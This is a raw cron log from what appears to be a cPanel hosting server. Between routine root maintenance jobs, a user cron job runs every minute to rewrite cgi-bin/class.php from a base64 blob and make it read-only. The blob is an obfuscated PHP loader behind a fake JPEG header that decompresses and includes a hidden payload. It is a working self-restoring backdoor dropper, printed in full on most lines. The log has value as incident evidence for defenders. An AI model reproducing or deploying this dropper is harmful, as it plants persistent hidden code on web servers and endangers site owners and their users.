Sep 11 06:56:01 server CROND[19873]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:56:01 server CROND[19874]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:56:01 server CROND[19875]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:57:01 server CROND[20475]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:57:01 server CROND[20476]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:57:01 server CROND[20477]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 06:57:01 server CROND[20478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:58:01 server CROND[20869]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:58:01 server CROND[20870]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 06:58:01 server CROND[20871]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:59:01 server CROND[21349]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 06:59:01 server CROND[21350]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 06:59:01 server CROND[21351]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:00:01 server CROND[21741]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:00:01 server CROND[21740]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 07:00:01 server CROND[21742]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:00:01 server CROND[21753]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:00:01 server CROND[21754]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:00:01 server CROND[21766]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:00:01 server CROND[21764]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:00:01 server CROND[21768]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep 11 07:00:01 server CROND[21770]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:01:01 server CROND[22586]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 07:01:01 server CROND[22585]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:01:01 server CROND[22587]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:01:01 server CROND[22588]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:01:01 server run-parts(/etc/cron.hourly)[22586]: starting 0anacron
Sep 11 07:01:01 server run-parts(/etc/cron.hourly)[22607]: finished 0anacron
Sep 11 07:02:01 server CROND[23149]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:02:01 server CROND[23150]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:02:01 server CROND[23151]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:03:01 server CROND[23526]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:03:01 server CROND[23527]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:03:01 server CROND[23528]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:04:01 server CROND[23999]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:04:01 server CROND[24001]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:04:01 server CROND[24002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:05:01 server CROND[24377]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 07:05:02 server CROND[24379]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep 11 07:05:02 server CROND[24381]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 07:05:02 server CROND[24382]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:05:02 server CROND[24384]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:05:02 server CROND[24383]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:05:02 server CROND[24385]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 07:05:02 server CROND[24386]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep 11 07:06:01 server CROND[25220]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:06:01 server CROND[25225]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:06:01 server CROND[25221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:07:01 server CROND[25606]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep 11 07:07:01 server CROND[25607]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:07:01 server CROND[25608]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:08:01 server CROND[25992]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
